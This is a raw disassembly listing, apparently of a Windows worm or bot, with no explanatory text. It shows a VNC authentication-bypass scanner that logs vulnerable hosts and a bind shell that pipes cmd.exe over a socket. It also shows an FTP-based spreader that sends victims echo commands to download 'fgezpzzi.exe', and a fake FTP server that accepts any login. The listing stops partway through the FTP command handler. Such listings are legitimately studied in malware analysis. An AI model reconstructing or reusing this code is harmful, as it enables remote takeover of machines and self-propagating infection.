loc_40EAE4: ; CODE XREF: sub_40E9FB+D0j
pop edi
pop esi
pop ebx
leave
retn
sub_40E9FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EAE9 proc near ; CODE XREF: sub_40C3E8+1EAp
; DATA XREF: .data:off_4317FCo
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
push ebp
mov ebp, esp
sub esp, 10h
push esi
lea eax, [ebp+arg_4]
push edi
push eax
mov [ebp+var_10], 2
call dword_4CBA14 ; inet_addr
push [ebp+arg_A0]
mov [ebp+var_C], eax
call dword_4CB9D4 ; htons
push 6
push 1
push 2
mov [ebp+var_E], ax
call ds:dword_427204 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40EB5B
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call ds:dword_4271F8 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40EB3C
push esi
jmp short loc_40EB55
; ---------------------------------------------------------------------------
loc_40EB3C: ; CODE XREF: sub_40EAE9+4Ej
push 0
push 1213h
push offset dword_433424
push esi
call ds:dword_427208 ; send
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_40EB5F
loc_40EB55: ; CODE XREF: sub_40EAE9+51j
call ds:dword_427200 ; closesocket
loc_40EB5B: ; CODE XREF: sub_40EAE9+3Cj
xor eax, eax
jmp short loc_40EBA1
; ---------------------------------------------------------------------------
loc_40EB5F: ; CODE XREF: sub_40EAE9+6Aj
call ds:dword_427200 ; closesocket
push 216Bh
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E9FB
add esp, 0C0h
test eax, eax
jz short loc_40EB9E
mov eax, [ebp+arg_A8]
shl eax, 6
inc dword_431800[eax]
lea eax, dword_431800[eax]
loc_40EB9E: ; CODE XREF: sub_40EAE9+9Ej
push 1
pop eax
loc_40EBA1: ; CODE XREF: sub_40EAE9+74j
pop edi
pop esi
leave
retn
sub_40EAE9 endp
; =============== S U B R O U T I N E =======================================
sub_40EBA5 proc near ; CODE XREF: .text:0040EC93p
; .text:0040ECF5p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_8]
xor esi, esi
loc_40EBAD: ; CODE XREF: sub_40EBA5+2Dj
test edi, edi
jle short loc_40EBD8
mov eax, [esp+8+arg_4]
push 0
add eax, esi
push edi
push eax
push [esp+14h+arg_0]
call dword_4CB9EC ; recv
test eax, eax
jz short loc_40EBD4
cmp eax, 0FFFFFFFFh
jz short loc_40EBD4
sub edi, eax
add esi, eax
jmp short loc_40EBAD
; ---------------------------------------------------------------------------
loc_40EBD4: ; CODE XREF: sub_40EBA5+22j
; sub_40EBA5+27j
xor eax, eax
jmp short loc_40EBDB
; ---------------------------------------------------------------------------
loc_40EBD8: ; CODE XREF: sub_40EBA5+Aj
push 1
pop eax
loc_40EBDB: ; CODE XREF: sub_40EBA5+31j
pop edi
pop esi
retn
sub_40EBA5 endp
; =============== S U B R O U T I N E =======================================
sub_40EBDE proc near ; CODE XREF: .text:0040ECDFp
; .text:0040ED0Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_8]
test edi, edi
jz short loc_40EC1B
xor esi, esi
test edi, edi
jle short loc_40EC15
loc_40EBEE: ; CODE XREF: sub_40EBDE+35j
mov eax, edi
push 0
sub eax, esi
push eax
mov eax, [esp+10h+arg_4]
add eax, esi
push eax
push [esp+14h+arg_0]
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40EC1B
test eax, eax
jz short loc_40EC1B
add esi, eax
cmp esi, edi
jl short loc_40EBEE
loc_40EC15: ; CODE XREF: sub_40EBDE+Ej
push 1
pop eax
loc_40EC18: ; CODE XREF: sub_40EBDE+3Fj
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_40EC1B: ; CODE XREF: sub_40EBDE+8j
; sub_40EBDE+2Bj ...
xor eax, eax
jmp short loc_40EC18
sub_40EBDE endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 24Ch
push ebx
mov ax, word_4346DC
push esi
push edi
push 0
push 1
push 2
mov [ebp-2], ax
pop esi
push esi
call dword_4CBA54 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_40EC4D
push eax
jmp short loc_40EC81
; ---------------------------------------------------------------------------
loc_40EC4D: ; CODE XREF: .text:0040EC48j
lea eax, [ebp+0Ch]
push eax
call dword_4CBA14 ; inet_addr
push dword ptr [ebp+0A8h]
mov [ebp-48h], eax
mov [ebp-4Ch], si
call dword_4CB9D4 ; htons
mov [ebp-4Ah], ax
lea eax, [ebp-4Ch]
push 10h
push eax
push ebx
call dword_4CB97C ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40EC8C
push ebx
loc_40EC81: ; CODE XREF: .text:0040EC4Bj
call dword_4CBA6C ; closesocket
jmp loc_40EE87
; ---------------------------------------------------------------------------
loc_40EC8C: ; CODE XREF: .text:0040EC7Ej
lea eax, [ebp-38h]
push 0Ch
push eax
push ebx
call sub_40EBA5
add esp, 0Ch
test eax, eax
jz loc_40EE80
lea eax, [ebp-20h]
and byte ptr [ebp-2Ch], 0
push eax
lea eax, [ebp-28h]
push eax
lea eax, [ebp-38h]
push offset aRfb03d_03d ; "RFB %03d.%03d\n"
push eax
call _sscanf
add esp, 10h
cmp eax, esi
jnz loc_40EE80
cmp dword ptr [ebp-28h], 3
jz short loc_40ECD8
cmp dword ptr [ebp-20h], 8
jnz loc_40EE80
loc_40ECD8: ; CODE XREF: .text:0040ECCCj
lea eax, [ebp-38h]
push 0Ch
push eax
push ebx
call sub_40EBDE
add esp, 0Ch
test eax, eax
jz loc_40EE80
lea eax, [ebp-3Ch]
push esi
push eax
push ebx
call sub_40EBA5
add esp, 0Ch
test eax, eax
jz loc_40EE80
lea eax, [ebp-2]
push 1
push eax
push ebx
call sub_40EBDE
add esp, 0Ch
test eax, eax
jz loc_40EE80
lea eax, [ebp-24h]
push 4
push eax
push ebx
call sub_40EBA5
add esp, 0Ch
test eax, eax
jz loc_40EE80
mov eax, [ebp-24h]
mov edi, 0FF0000h
mov ecx, eax
mov edx, eax
and ecx, edi
mov esi, 0FF00h
shr edx, 10h
or ecx, edx
mov edx, eax
shl edx, 10h
and eax, esi
or edx, eax
shr ecx, 8
shl edx, 8
or ecx, edx
mov [ebp-24h], ecx
jnz loc_40EE80
push 1
push offset word_4CB88C
push ebx
call sub_40EBDE
add esp, 0Ch
test eax, eax
jz loc_40EE80
lea eax, [ebp-1Ch]
push 18h
push eax
push ebx
call sub_40EBA5
add esp, 0Ch
test eax, eax
jz loc_40EE80
xor eax, eax
mov ecx, [ebp-8]
mov al, [ebp-1Bh]
mov edx, ecx
mov ah, [ebp-1Ch]
mov [ebp-1Ch], ax
xor eax, eax
mov al, [ebp-19h]
mov ah, [ebp-1Ah]
mov [ebp-1Ah], ax
xor eax, eax
mov al, [ebp-13h]
mov ah, [ebp-14h]
mov [ebp-14h], ax
xor eax, eax
mov al, [ebp-11h]
mov ah, [ebp-12h]
mov [ebp-12h], ax
xor eax, eax
mov al, [ebp-0Fh]
mov ah, [ebp-10h]
mov [ebp-10h], ax
mov eax, ecx
and eax, edi
shr edx, 10h
or eax, edx
mov edx, ecx
shl edx, 10h
and ecx, esi
or edx, ecx
shr eax, 8
shl edx, 8
or eax, edx
mov [ebp-8], eax
add eax, 2
push eax
call ??2@YAPAXI@Z ; operator new(uint)
mov edi, [ebp-8]
pop ecx
test edi, edi
mov esi, eax
jle short loc_40EE10
push edi
push esi
push ebx
call sub_40EBA5
add esp, 0Ch
loc_40EE10: ; CODE XREF: .text:0040EE03j
and byte ptr [edi+esi], 0
lea eax, [ebp+0Ch]
push eax
push esi
push dword ptr [ebp-20h]
lea eax, [ebp-24Ch]
push dword ptr [ebp-28h]
push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
push 200h
push eax
call __snprintf
push 0
lea eax, [ebp-24Ch]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_409869
lea eax, [ebp-24Ch]
push eax
call sub_415D38
mov eax, [ebp+0B0h]
add esp, 34h
shl eax, 6
inc dword_431800[eax]
push ebx
lea eax, dword_431800[eax]
call ds:dword_427200 ; closesocket
push 1
pop eax
jmp short loc_40EE89
; ---------------------------------------------------------------------------
loc_40EE80: ; CODE XREF: .text:0040EC9Dj
; .text:0040ECC2j ...
push ebx
call ds:dword_427200 ; closesocket
loc_40EE87: ; CODE XREF: .text:0040EC87j
xor eax, eax
loc_40EE89: ; CODE XREF: .text:0040EE7Ej
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40EE8E proc near ; DATA XREF: sub_40EF1C+15Bo
var_404 = byte ptr -404h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 404h
loc_40EE97: ; CODE XREF: sub_40EE8E+25j
; sub_40EE8E+41j
push 0
lea eax, [ebp+var_404]
push 400h
push eax
push dword_4CE708
call dword_4CB9EC ; recv
test eax, eax
jle short loc_40EE97
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
lea eax, [ebp+var_404]
push eax
push dword_4CE704
call ds:dword_4270F0 ; WriteFile
jmp short loc_40EE97
sub_40EE8E endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40EED1 proc near ; DATA XREF: sub_40EF1C+142o
var_404 = byte ptr -404h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 404h
loc_40EEDA: ; CODE XREF: sub_40EED1+2Fj
; sub_40EED1+49j
lea eax, [ebp+var_4]
and [ebp+var_4], 0
push 0
push eax
lea eax, [ebp+var_404]
push 400h
push eax
push dword_4CE6F8
call ds:dword_4270EC ; ReadFile
cmp [ebp+var_4], 0
jle short loc_40EEDA
push 0
lea eax, [ebp+var_404]
push [ebp+var_4]
push eax
push dword_4CE708
call dword_4CBA24 ; send
jmp short loc_40EEDA
sub_40EED1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40EF1C proc near ; DATA XREF: sub_401ACD+2CCAo
var_11C = byte ptr -11Ch
var_98 = dword ptr -98h
var_7C = dword ptr -7Ch
var_50 = dword ptr -50h
var_4C = word ptr -4Ch
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = byte ptr -3Ch
Dst = word ptr -38h
var_36 = word ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 28h
mov esi, eax
pop ecx
lea edi, [ebp+var_11C]
rep movsd
push 1
xor edi, edi
pop esi
mov [eax+98h], esi
push 10h ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+var_98]
call dword_4CB9D4 ; htons
push 6
push esi
push 2
mov [ebp+var_36], ax
call dword_4CBA54 ; socket
mov [ebp+arg_0], eax
lea eax, [ebp+Dst]
push 10h
push eax
push [ebp+arg_0]
call dword_4CBA00 ; bind
push 5
push [ebp+arg_0]
call dword_4CB9FC ; listen
mov ebx, ds:dword_427108
mov esi, ds:dword_427070
loc_40EF9C: ; CODE XREF: sub_40EF1C+1CBj
push edi
push edi
push [ebp+arg_0]
call dword_4CBA68 ; accept
mov dword_4CE708, eax
lea eax, [ebp+var_C]
push edi
push eax
push offset dword_4CE704
push offset dword_4CE700
mov [ebp+var_C], 0Ch
mov [ebp+var_4], 1
mov [ebp+var_8], edi
call ebx ; CreatePipe
lea eax, [ebp+var_C]
push edi
push eax
push offset dword_4CE6FC
push offset dword_4CE6F8
call ebx ; CreatePipe
push 44h ; Size
lea eax, [ebp+var_7C]
push edi ; Val
push eax ; Dst
call _memset
mov eax, dword_4CE700
add esp, 0Ch
mov [ebp+var_44], eax
mov eax, dword_4CE6FC
mov [ebp+var_40], eax
push edi
push 1
lea eax, [ebp+var_3C]
push 2
push eax
mov [ebp+var_7C], 44h
mov [ebp+var_50], 101h
mov [ebp+var_4C], di
call ds:dword_427104 ; GetCurrentProcess
push eax
push dword_4CE6FC
call ds:dword_427104 ; GetCurrentProcess
push eax
call ds:dword_427100 ; DuplicateHandle
lea eax, [ebp+var_28]
push eax
lea eax, [ebp+var_7C]
push eax
push edi
push edi
push 4000090h
lea eax, [ebp+var_C]
push 1
push eax
lea eax, [ebp+var_C]
push eax
push offset aCmd_exe ; "cmd.exe"
push edi
call ds:dword_427074 ; CreateProcessA
lea eax, [ebp+var_18]
push eax
push edi
push edi
push offset sub_40EED1
lea eax, [ebp+var_C]
push edi
push eax
call ds:dword_427084 ; CreateThread
mov [ebp+var_14], eax
lea eax, [ebp+var_18]
push eax
push edi
push edi
push offset sub_40EE8E
lea eax, [ebp+var_C]
push edi
push eax
call ds:dword_427084 ; CreateThread
push 0FFFFFFFFh
mov [ebp+var_10], eax
push [ebp+var_28]
call ds:dword_4270A8 ; WaitForSingleObject
push edi
push [ebp+var_10]
call ds:dword_4270B4 ; TerminateThread
push edi
push [ebp+var_14]
call ds:dword_4270B4 ; TerminateThread
push [ebp+var_10]
call esi ; CloseHandle
push [ebp+var_14]
call esi ; CloseHandle
push edi
push [ebp+var_28]
call ds:dword_4270FC ; TerminateProcess
push dword_4CE700
call esi ; CloseHandle
push dword_4CE704
call esi ; CloseHandle
push dword_4CE6F8
call esi ; CloseHandle
push dword_4CE6FC
call esi ; CloseHandle
push [ebp+var_24]
call esi ; CloseHandle
push [ebp+var_28]
call esi ; CloseHandle
jmp loc_40EF9C
sub_40EF1C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40F0EC proc near ; DATA XREF: .data:0042900Co
jmp $+5
sub_40F0EC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40F0F1 proc near
push 0FFFEh
push 400h
call sub_418BD1
pop ecx
mov dword_4CE710, eax
pop ecx
retn
sub_40F0F1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F108 proc near ; DATA XREF: sub_40BD91+34Do
Dest = byte ptr -6C0h
var_2C0 = dword ptr -2C0h
var_C0 = byte ptr -0C0h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A4 = dword ptr -0A4h
Str = byte ptr -0A0h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
Dst = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 6C0h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 27h
mov esi, eax
pop ecx
lea edi, [ebp+var_B0]
rep movsd
push 1
xor ebx, ebx
pop esi
mov [eax+98h], esi
push 10h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+var_A4]
call dword_4CB9D4 ; htons
push ebx
push esi
push 2
mov [ebp+var_12], ax
mov [ebp+var_10], ebx
call dword_4CBA54 ; socket
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jnz short loc_40F1AF
cmp [ebp+var_1C], ebx
jnz short loc_40F18F
push ebx ; int
lea eax, [ebp+var_2C0]
push [ebp+var_20] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_B0] ; int
call sub_409869
add esp, 14h
loc_40F18F: ; CODE XREF: sub_40F108+65j
lea eax, [ebp+var_2C0]
push eax
call sub_415D38
push [ebp+var_AC]
call sub_40B6D6
pop ecx
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
loc_40F1AF: ; CODE XREF: sub_40F108+60j
mov eax, [ebp+var_AC]
push 10h
imul eax, 234h
mov dword_43E91C[eax], edi
lea eax, [ebp+Dst]
push eax
push edi
call dword_4CBA00 ; bind
cmp eax, esi
mov ebx, 400h
jnz loc_40F2AA
call dword_4CB968 ; WSAGetLastError
cmp eax, 2740h
jz short loc_40F22F
xor esi, esi
cmp [ebp+var_1C], esi
jnz short loc_40F20F
push esi ; int
lea eax, [ebp+var_2C0]
push [ebp+var_20] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_B0] ; int
call sub_409869
add esp, 14h
loc_40F20F: ; CODE XREF: sub_40F108+E5j
lea eax, [ebp+var_2C0]
push eax
call sub_415D38
push [ebp+var_AC]
call sub_40B6D6
pop ecx
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
loc_40F22F: ; CODE XREF: sub_40F108+DEj
push 0FFFEh
push ebx
call sub_418BD1
pop ecx
mov dword_4CE710, eax
pop ecx
mov [ebp+var_12], ax
lea eax, [ebp+Dst]
push 10h
push eax
push edi
call dword_4CBA00 ; bind
cmp eax, esi
jnz short loc_40F2AA
call dword_4CB968 ; WSAGetLastError
xor esi, esi
cmp [ebp+var_1C], esi
jnz short loc_40F28A
cmp eax, 2740h
jz short loc_40F28A
push esi ; int
lea eax, [ebp+var_2C0]
push [ebp+var_20] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_B0] ; int
call sub_409869
add esp, 14h
loc_40F28A: ; CODE XREF: sub_40F108+159j
; sub_40F108+160j
lea eax, [ebp+var_2C0]
push eax
call sub_415D38
push [ebp+var_AC]
call sub_40B6D6
pop ecx
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
loc_40F2AA: ; CODE XREF: sub_40F108+CDj
; sub_40F108+14Cj
push 5
push edi
call dword_4CB9FC ; listen
cmp eax, esi
jz loc_40F38F
mov [ebp+var_4], 10h
mov esi, offset Str ; "fgezpzzi.exe"
loc_40F2C7: ; CODE XREF: sub_40F108+1D7j
; sub_40F108+227j ...
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_C0]
push eax
push edi
call dword_4CBA68 ; accept
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz short loc_40F2C7
cmp [ebp+var_1C], 0
jnz short loc_40F308
push 0 ; int
lea eax, [ebp+var_2C0]
push [ebp+var_20] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_B0] ; int
call sub_409869
add esp, 14h
loc_40F308: ; CODE XREF: sub_40F108+1DDj
lea eax, [ebp+var_2C0]
push eax
call sub_415D38
pop ecx
lea eax, [ebp+var_2C0]
push 0
push 200h
push eax
push [ebp+arg_0]
call dword_4CB9EC ; recv
cmp eax, 0FFFFFFFFh
jz short loc_40F2C7
push esi
push esi
push dword_4CB710
push [ebp+var_B0]
call sub_40AA06
pop ecx
push eax
push offset aEchoOpenSDOE_0 ; "echo open %s %d >> o&echo user 1 >>o &e"...
lea eax, [ebp+Dest]
push ebx ; Count
push eax ; Dest
call __snprintf
add esp, 1Ch
lea eax, [ebp+Dest]
push 0
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Dest]
push eax
push [ebp+arg_0]
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jz loc_40F2C7
inc dword_4CE718
jmp loc_40F2C7
; ---------------------------------------------------------------------------
loc_40F38F: ; CODE XREF: sub_40F108+1ADj
push edi
call dword_4CBA6C ; closesocket
push [ebp+var_AC]
call sub_40B6D6
pop ecx
push 0
call ds:dword_4270D4 ; ExitThread
sub_40F108 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F3AA proc near ; DATA XREF: sub_40BD91+22Ao
var_A70 = byte ptr -0A70h
var_8E0 = dword ptr -8E0h
var_6E0 = dword ptr -6E0h
var_4C8 = byte ptr -4C8h
var_448 = dword ptr -448h
var_444 = dword ptr -444h
var_43C = dword ptr -43Ch
var_338 = byte ptr -338h
var_2D4 = byte ptr -2D4h
Dst = byte ptr -2A0h
var_23C = byte ptr -23Ch
var_22C = dword ptr -22Ch
var_228 = dword ptr -228h
Str = byte ptr -128h
Dest = byte ptr -0FCh
var_C8 = byte ptr -0C8h
Str1 = byte ptr -0B0h
var_4C = byte ptr -4Ch
var_3C = word ptr -3Ch
var_3A = word ptr -3Ah
var_38 = dword ptr -38h
var_2C = byte ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A70h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 1
mov ecx, 0A9h
mov esi, eax
lea edi, [ebp+var_6E0]
pop ebx
rep movsd
mov [eax+2A0h], ebx
lea eax, [ebp+var_A70]
xor esi, esi
push eax
push 101h
mov [ebp+var_28], ebx
mov [ebp+var_20], ebx
mov [ebp+var_18], ebx
mov [ebp+var_22C], esi
mov [ebp+var_43C], esi
call ds:dword_4271D8 ; WSAStartup
push esi
push ebx
push 2
call ds:dword_427204 ; socket
mov esi, ds:dword_4271DC
lea ecx, [ebp+var_28]
push 4
push ecx
mov edi, 0FFFFh
push 4
push edi
push eax
mov [ebp+var_8], eax
call esi ; setsockopt
lea eax, [ebp+var_20]
push 4
push eax
push 0FFFFFFFBh
push edi
mov edi, [ebp+var_8]
push edi
call esi ; setsockopt
lea eax, [ebp+var_18]
push eax
push 8004667Eh
push edi
call ds:dword_4271E0 ; ioctlsocket
mov ax, word ptr dword_4CB710
and [ebp+var_38], 0
push eax
mov [ebp+var_3C], 2
call dword_4CB9D4 ; htons
mov [ebp+var_3A], ax
lea eax, [ebp+var_3C]
push 10h
push eax
push edi
call ds:dword_4271E4 ; bind
test eax, eax
jge short loc_40F470
mov eax, ebx
jmp loc_40F9B8
; ---------------------------------------------------------------------------
loc_40F470: ; CODE XREF: sub_40F3AA+BDj
push 0Ah
push edi
call ds:dword_4271E8 ; listen
mov [ebp+var_22C], ebx
mov ebx, ds:dword_427208
mov [ebp+var_228], edi
mov [ebp+var_4], edi
loc_40F48E: ; CODE XREF: sub_40F3AA+11Dj
; sub_40F3AA+606j
push 41h
lea esi, [ebp+var_22C]
pop ecx
lea edi, [ebp+var_43C]
rep movsd
xor esi, esi
lea eax, [ebp+var_43C]
push esi
push esi
push esi
push eax
mov eax, [ebp+var_4]
inc eax
push eax
call ds:dword_42720C ; select
cmp eax, 0FFFFFFFFh
jz loc_40F9B5
xor edi, edi
cmp [ebp+var_4], esi
mov [ebp+arg_0], edi
jl short loc_40F48E
loc_40F4C9: ; CODE XREF: sub_40F3AA+600j
xor esi, esi
push 64h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
push 64h ; Size
lea eax, [ebp+Str1]
push esi ; Val
push eax ; Dst
call _memset
add esp, 18h
lea eax, [ebp+var_43C]
push eax
push edi
call sub_426350 ; __WSAFDIsSet
test eax, eax
jz loc_40F9A3
cmp edi, [ebp+var_8]
jnz short loc_40F580
lea eax, [ebp+var_10]
mov [ebp+var_10], 10h
push eax
lea eax, [ebp+var_23C]
push eax
push [ebp+var_8]
call ds:dword_4271EC ; accept
cmp eax, 0FFFFFFFFh
jz loc_40F9A3
xor ecx, ecx
cmp [ebp+var_22C], esi
jbe short loc_40F54A
lea edx, [ebp+var_228]
loc_40F53A: ; CODE XREF: sub_40F3AA+19Ej
cmp [edx], eax
jz short loc_40F54A
inc ecx
add edx, 4
cmp ecx, [ebp+var_22C]
jb short loc_40F53A
loc_40F54A: ; CODE XREF: sub_40F3AA+188j
; sub_40F3AA+192j
cmp ecx, [ebp+var_22C]
jnz short loc_40F568
cmp [ebp+var_22C], 40h
jnb short loc_40F568
mov [ebp+ecx*4+var_228], eax
inc [ebp+var_22C]
loc_40F568: ; CODE XREF: sub_40F3AA+1A6j
; sub_40F3AA+1AFj
cmp eax, [ebp+var_4]
jle short loc_40F570
mov [ebp+var_4], eax
loc_40F570: ; CODE XREF: sub_40F3AA+1C1j
push esi
push 15h
push offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n"
push eax
call ebx ; send
jmp loc_40F9A3
; ---------------------------------------------------------------------------
loc_40F580: ; CODE XREF: sub_40F3AA+15Aj
push esi
lea eax, [ebp+Dst]
push 64h
push eax
push edi
call ds:dword_4271FC ; recv
test eax, eax
jg short loc_40F5E7
mov edx, [ebp+var_22C]
xor ecx, ecx
cmp edx, esi
jbe short loc_40F5DB
lea eax, [ebp+var_228]
loc_40F5A7: ; CODE XREF: sub_40F3AA+207j
cmp [eax], edi
jz short loc_40F5B5
inc ecx
add eax, 4
cmp ecx, edx
jb short loc_40F5A7
jmp short loc_40F5DB
; ---------------------------------------------------------------------------
loc_40F5B5: ; CODE XREF: sub_40F3AA+1FFj
dec edx
cmp ecx, edx
jnb short loc_40F5D5
lea eax, [ebp+ecx*4+var_228]
loc_40F5C1: ; CODE XREF: sub_40F3AA+229j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov edx, [ebp+var_22C]
add eax, 4
dec edx
cmp ecx, edx
jb short loc_40F5C1
loc_40F5D5: ; CODE XREF: sub_40F3AA+20Ej
dec [ebp+var_22C]
loc_40F5DB: ; CODE XREF: sub_40F3AA+1F5j
; sub_40F3AA+209j
push edi
call ds:dword_427200 ; closesocket
jmp loc_40F9A3
; ---------------------------------------------------------------------------
loc_40F5E7: ; CODE XREF: sub_40F3AA+1E9j
lea eax, [ebp+var_338]
push eax
lea eax, [ebp+Str1]
push eax
lea eax, [ebp+Dst]
push offset aSS_3 ; "%s %s"
push eax ; Src
call _sscanf
lea eax, [ebp+Str1]
push offset aUser_1 ; "USER"
push eax ; Str1
call _strcmp
add esp, 18h
test eax, eax
jnz short loc_40F62B
push esi
push 16h
push offset a331PasswordReq ; "331 Password required\n"
jmp loc_40F6AD
; ---------------------------------------------------------------------------
loc_40F62B: ; CODE XREF: sub_40F3AA+272j
lea eax, [ebp+Str1]
push offset aPass ; "PASS"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40F64C
push esi
push 14h
push offset a230UserLoggedI ; "230 User logged in.\n"
jmp short loc_40F6AD
; ---------------------------------------------------------------------------
loc_40F64C: ; CODE XREF: sub_40F3AA+296j
lea eax, [ebp+Str1]
push offset aSyst ; "SYST"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40F66D
push esi
push 0Dh
push offset a215Stnyftpd ; "215 StnyFtpd\n"
jmp short loc_40F6AD
; ---------------------------------------------------------------------------
loc_40F66D: ; CODE XREF: sub_40F3AA+2B7j
lea eax, [ebp+Str1]
push offset aRest ; "REST"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40F68E
push esi
push 10h
push offset a350Restarting_ ; "350 Restarting.\n"
jmp short loc_40F6AD
; ---------------------------------------------------------------------------
loc_40F68E: ; CODE XREF: sub_40F3AA+2D8j
lea eax, [ebp+Str1]
push offset off_43492C ; Str2
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40F6B3
push esi
push 1Eh
push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
loc_40F6AD: ; CODE XREF: sub_40F3AA+27Cj
; sub_40F3AA+2A0j ...
push edi
jmp loc_40F98C
; ---------------------------------------------------------------------------
loc_40F6B3: ; CODE XREF: sub_40F3AA+2F9j
mov edi, offset aType ; "TYPE"
lea eax, [ebp+Str1]
push edi ; Str2
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40F6EF
lea eax, [ebp+var_338]
push offset aA_0 ; "A"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40F6EF
push esi
push 13h
push offset a200TypeSetToA_ ; "200 Type set to A.\n"
jmp loc_40F989
; ---------------------------------------------------------------------------
loc_40F6EF: ; CODE XREF: sub_40F3AA+31Fj
; sub_40F3AA+336j
lea eax, [ebp+Str1]
push edi ; Str2
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40F726
lea eax, [ebp+var_338]
push offset aI_0 ; "I"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40F726
push esi
push 13h
push offset a200TypeSetToI_ ; "200 Type set to I.\n"
jmp loc_40F989
; ---------------------------------------------------------------------------
loc_40F726: ; CODE XREF: sub_40F3AA+356j
; sub_40F3AA+36Dj
lea eax, [ebp+Str1]
push offset aPasv ; "PASV"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40F771
push 0Ah
mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
pop ecx
lea edi, [ebp+Str]
rep movsd
push eax
lea eax, [ebp+Str]
push eax ; Str
movsw
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
loc_40F764: ; CODE XREF: sub_40F3AA+406j
push eax
push [ebp+arg_0]
call ebx ; send
xor esi, esi
jmp loc_40F98E
; ---------------------------------------------------------------------------
loc_40F771: ; CODE XREF: sub_40F3AA+391j
lea eax, [ebp+Str1]
push offset aList_0 ; "LIST"
push eax ; Str1
call _strcmp
